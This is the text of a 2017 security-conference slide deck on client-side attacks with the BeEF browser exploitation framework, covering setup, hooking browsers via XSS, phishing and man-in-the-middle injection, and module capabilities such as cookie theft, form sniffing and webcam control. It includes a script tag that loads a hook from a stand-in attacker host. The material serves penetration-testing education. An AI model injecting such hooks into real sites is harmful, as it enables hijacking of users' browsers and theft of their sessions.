Man In The Browser
Advanced Client-Side Exploitation with BeEF
1N3 | @CrowdShield | https://crowdshield.com
ISSA Phoenix Chapter, 04/11/2017
Introduction
• Sr. Penetration Tester at Early Warning
• 16+ years of IT experience with a heavy focus on IT Security
• Symantec/NYS Cyber Security Agency, nCircle/Tripwire, General Electric
• Degree in Computer Science
• OSCP, ASFP, CISSP, PCI-ASV, Security+, Network+, A+, MCP, CNA
• Bug Bounty Researcher on BugCrowd and HackerOne
• Founder of CrowdShield (@CrowdShield) https://crowdshield.com
Overview
• What is BeEF?
• Getting started
• Browser hooking
• Attack vectors/exploits & examples
• Demo
• Q & A
What is BeEF?
• Short for “Browser Exploitation Framework”
• At a basic level, it allows an attacker to control a victims browser
• Similar to Metasploit (modular exploit framework) but for
exploiting browsers
• Can be used to leverage existing vulnerabilities (XSS, CSRF,
etc.)
• In some cases, it can lead to full compromise of the victims PC
Getting Started
• Installed by default on Kali Linux
• Can also be downloaded from http://beefproject.com/
• App directory /usr/share/beef-xss/
• Startup script /etc/init.d/beef-xss <start|stop>
• Web UI http://localhost:3000/ui/panel/
• Default user/pass: beef/beef
Logging In…
Hooking Browsers
• Must be able to inject Javascript in target’s browser
• <script src=“http://attackerip:3000/hook.js”></script>
• Uses XHR (mostly transparent) polling to
communicate with BeEF server
XHR Polling
Fundamentals
• Cross-Site Scripting (XSS) allows arbitrary execution of client side code
(ie. Javascript/HTML, etc.). Usually used by attackers to steal session cookies…
• Cross-Site Request Forgery (CSRF) allows an attacker to initiate
requests on behalf of other users (ie. Submitting a form to transfer funds $1,000
to an attackers account, etc.)
Attack Vectors
• Social Engineering/Phishing - Lure or convince victim to
attacker controlled server hosting BeeF
• Open Redirect - Redirect victims automatically to attacker
controlled server hosting BeeF
• Reflected XSS - Send victim a URL that executes hook.js
script
• Stored XSS - Embed hook.js script via a stored XSS vector
• Man-In-The-Middle Attacks - Injecting BeEF hook via MITM
Social Engineering
Toolkit
• Customized payload generation
• Website Cloning
• Email Template Generation
• Mass Email Capabilities
Phishing &
Social Engineering
It only takes one wrong click…
Open Redirect
XSS Hooking
BeeF hook.js injected via URL
URL Obfuscation
Payloads and phishing links can be obfuscated and shortened
using URL shorteners… (example: https://goo.gl/ZncYoc)
Stored XSS
A single stored XSS flaw can yield many hooked clients
depending on the size and use of the site…
Man-In-The-Middle
Injects a small hook.js into every web request intercepted.
Can also be done using DNS spoofing as well…
Web UI
Tracks client connections (ie. hooked browsers) and
allows an attacker to run modules
• Gather intel on target system/browser
• Retrieve session cookies
• Redirect target to malicious URL’s
• Change site content
• Form field sniffing
• Embed hidden iframes
• Alter original page content (HTML/JS)
• Scan internal network (ping/port scans)
• Launch CSRF attacks
• Execute client-side exploits/code (BeeF/Metasploit/SET)
BeeF Attacks
BeEF Modules
BeEF Basics
Browser Hacking
Methodology
• Gaining control
• Fingerprinting
• Retain control
• Bypassing SOP
• Attacking users
• Attacking extensions
• Attacking web applications
• Attacking browsers
• Attacking plugins
• Attacking networks
Fingerprinting
REQ-PEN-1234
Advanced Client Side Exploitation Using BeEF
Retain Control
Attacking Users
Session Hijacking
Form Sniffing
Webcam Control
Client-Side Request Forgery
• Can be used to make internal or external requests from the victim’s PC
• Depending on severity, could allow an attacker to automatically transfer
funds or reset a users passwords, etc…
CSRF Exploits
Tunneling Proxy
Internal Network Mapping
Integration
• Execute Metasploit exploits directly through BeeF’s
web UI…
• Get Metasploit DB user/pass:
msfconsole -x ‘load msgrpc;’
• Update Config with MSF DB user/pass:
/usr/share/beef-xss/extensions/metasploit/config.yml
• Enable the Metasploit module in BeeF config:
/usr/share/beef-xss/config.yml
Exploits…
Exploiting Browsers Using Java
Automating Modules
By editing autorun.rb, we can automatically load
specific modules and set options whenever a new
BeEF hook connects
Demo
Recommended Reading
Questions?

More Related Content

PPTX
Footprinting and reconnaissance
PDF
OWASP SD: Deserialize My Shorts: Or How I Learned To Start Worrying and Hate ...
PDF
基于 FRIDA 的全平台逆向分析
 
PDF
Secure coding guidelines
PDF
Web Application Penetration Tests - Information Gathering Stage
PDF
CanSecWest 2017 - Port(al) to the iOS Core
PPTX
Botnet Detection in Online-social Network
PDF
SOCIAL NETWORK SECURITY
Footprinting and reconnaissance
OWASP SD: Deserialize My Shorts: Or How I Learned To Start Worrying and Hate ...
基于 FRIDA 的全平台逆向分析
 
Secure coding guidelines
Web Application Penetration Tests - Information Gathering Stage
CanSecWest 2017 - Port(al) to the iOS Core
Botnet Detection in Online-social Network
SOCIAL NETWORK SECURITY

What's hot (20)

PPTX
Unrestricted file upload CWE-434 - Adam Nurudini (ISACA)
PDF
Footprinting
PDF
The Cross Site Scripting Guide
PPTX
Network Penetration Testing
PPT
Web Services Hacking and Security
PDF
CẢM NHẬN Về những giá trị văn hóa - lịch sử trong tác phẩm của nhà văn Hoàng ...
PPTX
Cross Site Scripting (XSS)
PPT
XSS and CSRF with HTML5
PDF
(Ficon2016) #2 침해사고 대응, 이렇다고 전해라
PPTX
Intro to exploits in metasploitand payloads in msfvenom
PDF
Windows Memory Forensic Analysis using EnCase
PDF
Cyber Attack Methodologies
PDF
MacOS memory allocator (libmalloc) Exploitation
PPT
Reliable Windows Heap Exploits
PPTX
PPT
Introduction to Web Application Penetration Testing
PPT
Shared preferences
PPT
XSS - Attacks & Defense
PPTX
File upload vulnerabilities & mitigation
PPTX
Operating Systems: Computer Security
Unrestricted file upload CWE-434 - Adam Nurudini (ISACA)
Footprinting
The Cross Site Scripting Guide
Network Penetration Testing
Web Services Hacking and Security
CẢM NHẬN Về những giá trị văn hóa - lịch sử trong tác phẩm của nhà văn Hoàng ...
Cross Site Scripting (XSS)
XSS and CSRF with HTML5
(Ficon2016) #2 침해사고 대응, 이렇다고 전해라
Intro to exploits in metasploitand payloads in msfvenom
Windows Memory Forensic Analysis using EnCase
Cyber Attack Methodologies
MacOS memory allocator (libmalloc) Exploitation
Reliable Windows Heap Exploits
Introduction to Web Application Penetration Testing
Shared preferences
XSS - Attacks & Defense
File upload vulnerabilities & mitigation
Operating Systems: Computer Security
Ad

Similar to Advanced Client Side Exploitation Using BeEF (20)

PPTX
Beef saurabh
PDF
Be ef presentation-securitybyte2011-michele_orru
ODP
Browser Exploitation Framework Tutorial
PDF
Hacktivity2011 be ef-preso_micheleorru
PDF
BeEF_EUSecWest-2012_Michele-Orru
PDF
Antisnatchor all you ever wanted to know about beef
PDF
ZeroNights2012_BeEF_Workshop_antisnatchor
PDF
DeepSec2011_GroundBeEF
PDF
Owasp AppSecEU 2015 - BeEF Session
PDF
Rooting Your Internals: Inter-Protocol Exploitation, custom shellcode and BeEF
PDF
Browser Exploit Framework
PPTX
Browser exploit framework
PDF
Advances in BeEF - AthCon2012
PDF
I'm the butcher would you like some BeEF
PDF
Burp suite
PDF
ZN27112015
PPTX
OWASP San Diego Training Presentation
PDF
Web Application Penetration Testing.pdf
PDF
Shake Hooves With BeEF - OWASP AppSec APAC 2012
Beef saurabh
Be ef presentation-securitybyte2011-michele_orru
Browser Exploitation Framework Tutorial
Hacktivity2011 be ef-preso_micheleorru
BeEF_EUSecWest-2012_Michele-Orru
Antisnatchor all you ever wanted to know about beef
ZeroNights2012_BeEF_Workshop_antisnatchor
DeepSec2011_GroundBeEF
Owasp AppSecEU 2015 - BeEF Session
Rooting Your Internals: Inter-Protocol Exploitation, custom shellcode and BeEF
Browser Exploit Framework
Browser exploit framework
Advances in BeEF - AthCon2012
I'm the butcher would you like some BeEF
Burp suite
ZN27112015
OWASP San Diego Training Presentation
Web Application Penetration Testing.pdf
Shake Hooves With BeEF - OWASP AppSec APAC 2012
Ad

Recently uploaded (20)

PPTX
Information-Technology-in-Human-Society.pptx
PPTX
How to use fields_get method in Odoo 18
PPTX
Presentation - Principles of Instructional Design.pptx
PPTX
How to Convert Tickets Into Sales Opportunity in Odoo 18
PDF
CCUS-as-the-Missing-Link-to-Net-Zero_AksCurious.pdf
PDF
Addressing the challenges of harmonizing law and artificial intelligence tech...
PDF
GDG Cloud Southlake #45: Patrick Debois: The Impact of GenAI on Development a...
PDF
Advancements in abstractive text summarization: a deep learning approach
PPTX
From XAI to XEE through Influence and Provenance.Controlling model fairness o...
PPTX
Information-Technology-in-Human-Society (2).pptx
PDF
EGCB_Solar_Project_Presentation_and Finalcial Analysis.pdf
PDF
Introduction to MCP and A2A Protocols: Enabling Agent Communication
PPTX
Digital Convergence: How GIS, BIM, and CAD Revolutionize Asset Management
PPTX
Strategic Picks — Prioritising the Right Agentic Use Cases [2/6]
PDF
Intravenous drug administration application for pediatric patients via augmen...
PDF
Optimizing bioinformatics applications: a novel approach with human protein d...
PDF
Connector Corner: Transform Unstructured Documents with Agentic Automation
PDF
AI.gov: A Trojan Horse in the Age of Artificial Intelligence
PDF
Chapter 1: computer maintenance and troubleshooting
PDF
Technical Debt in the AI Coding Era - By Antonio Bianco
Information-Technology-in-Human-Society.pptx
How to use fields_get method in Odoo 18
Presentation - Principles of Instructional Design.pptx
How to Convert Tickets Into Sales Opportunity in Odoo 18
CCUS-as-the-Missing-Link-to-Net-Zero_AksCurious.pdf
Addressing the challenges of harmonizing law and artificial intelligence tech...
GDG Cloud Southlake #45: Patrick Debois: The Impact of GenAI on Development a...
Advancements in abstractive text summarization: a deep learning approach
From XAI to XEE through Influence and Provenance.Controlling model fairness o...
Information-Technology-in-Human-Society (2).pptx
EGCB_Solar_Project_Presentation_and Finalcial Analysis.pdf
Introduction to MCP and A2A Protocols: Enabling Agent Communication
Digital Convergence: How GIS, BIM, and CAD Revolutionize Asset Management
Strategic Picks — Prioritising the Right Agentic Use Cases [2/6]
Intravenous drug administration application for pediatric patients via augmen...
Optimizing bioinformatics applications: a novel approach with human protein d...
Connector Corner: Transform Unstructured Documents with Agentic Automation
AI.gov: A Trojan Horse in the Age of Artificial Intelligence
Chapter 1: computer maintenance and troubleshooting
Technical Debt in the AI Coding Era - By Antonio Bianco

Advanced Client Side Exploitation Using BeEF

  • 1. Man In The Browser Advanced Client-Side Exploitation with BeEF 1N3 | @CrowdShield | https://crowdshield.com ISSA Phoenix Chapter, 04/11/2017
  • 2. Introduction • Sr. Penetration Tester at Early Warning • 16+ years of IT experience with a heavy focus on IT Security • Symantec/NYS Cyber Security Agency, nCircle/Tripwire, General Electric • Degree in Computer Science • OSCP, ASFP, CISSP, PCI-ASV, Security+, Network+, A+, MCP, CNA • Bug Bounty Researcher on BugCrowd and HackerOne • Founder of CrowdShield (@CrowdShield) https://crowdshield.com
  • 3. Overview • What is BeEF? • Getting started • Browser hooking • Attack vectors/exploits & examples • Demo • Q & A
  • 4. What is BeEF? • Short for “Browser Exploitation Framework” • At a basic level, it allows an attacker to control a victims browser • Similar to Metasploit (modular exploit framework) but for exploiting browsers • Can be used to leverage existing vulnerabilities (XSS, CSRF, etc.) • In some cases, it can lead to full compromise of the victims PC
  • 5. Getting Started • Installed by default on Kali Linux • Can also be downloaded from http://beefproject.com/ • App directory /usr/share/beef-xss/ • Startup script /etc/init.d/beef-xss <start|stop> • Web UI http://localhost:3000/ui/panel/ • Default user/pass: beef/beef
  • 7. Hooking Browsers • Must be able to inject Javascript in target’s browser • <script src=“http://attackerip:3000/hook.js”></script> • Uses XHR (mostly transparent) polling to communicate with BeEF server
  • 9. Fundamentals • Cross-Site Scripting (XSS) allows arbitrary execution of client side code (ie. Javascript/HTML, etc.). Usually used by attackers to steal session cookies… • Cross-Site Request Forgery (CSRF) allows an attacker to initiate requests on behalf of other users (ie. Submitting a form to transfer funds $1,000 to an attackers account, etc.)
  • 10. Attack Vectors • Social Engineering/Phishing - Lure or convince victim to attacker controlled server hosting BeeF • Open Redirect - Redirect victims automatically to attacker controlled server hosting BeeF • Reflected XSS - Send victim a URL that executes hook.js script • Stored XSS - Embed hook.js script via a stored XSS vector • Man-In-The-Middle Attacks - Injecting BeEF hook via MITM
  • 11. Social Engineering Toolkit • Customized payload generation • Website Cloning • Email Template Generation • Mass Email Capabilities
  • 12. Phishing & Social Engineering It only takes one wrong click…
  • 14. XSS Hooking BeeF hook.js injected via URL
  • 15. URL Obfuscation Payloads and phishing links can be obfuscated and shortened using URL shorteners… (example: https://goo.gl/ZncYoc)
  • 16. Stored XSS A single stored XSS flaw can yield many hooked clients depending on the size and use of the site…
  • 17. Man-In-The-Middle Injects a small hook.js into every web request intercepted. Can also be done using DNS spoofing as well…
  • 18. Web UI Tracks client connections (ie. hooked browsers) and allows an attacker to run modules
  • 19. • Gather intel on target system/browser • Retrieve session cookies • Redirect target to malicious URL’s • Change site content • Form field sniffing • Embed hidden iframes • Alter original page content (HTML/JS) • Scan internal network (ping/port scans) • Launch CSRF attacks • Execute client-side exploits/code (BeeF/Metasploit/SET) BeeF Attacks
  • 22. Browser Hacking Methodology • Gaining control • Fingerprinting • Retain control • Bypassing SOP • Attacking users • Attacking extensions • Attacking web applications • Attacking browsers • Attacking plugins • Attacking networks
  • 29. Client-Side Request Forgery • Can be used to make internal or external requests from the victim’s PC • Depending on severity, could allow an attacker to automatically transfer funds or reset a users passwords, etc…
  • 33. Integration • Execute Metasploit exploits directly through BeeF’s web UI… • Get Metasploit DB user/pass: msfconsole -x ‘load msgrpc;’ • Update Config with MSF DB user/pass: /usr/share/beef-xss/extensions/metasploit/config.yml • Enable the Metasploit module in BeeF config: /usr/share/beef-xss/config.yml
  • 36. Automating Modules By editing autorun.rb, we can automatically load specific modules and set options whenever a new BeEF hook connects
  • 37. Demo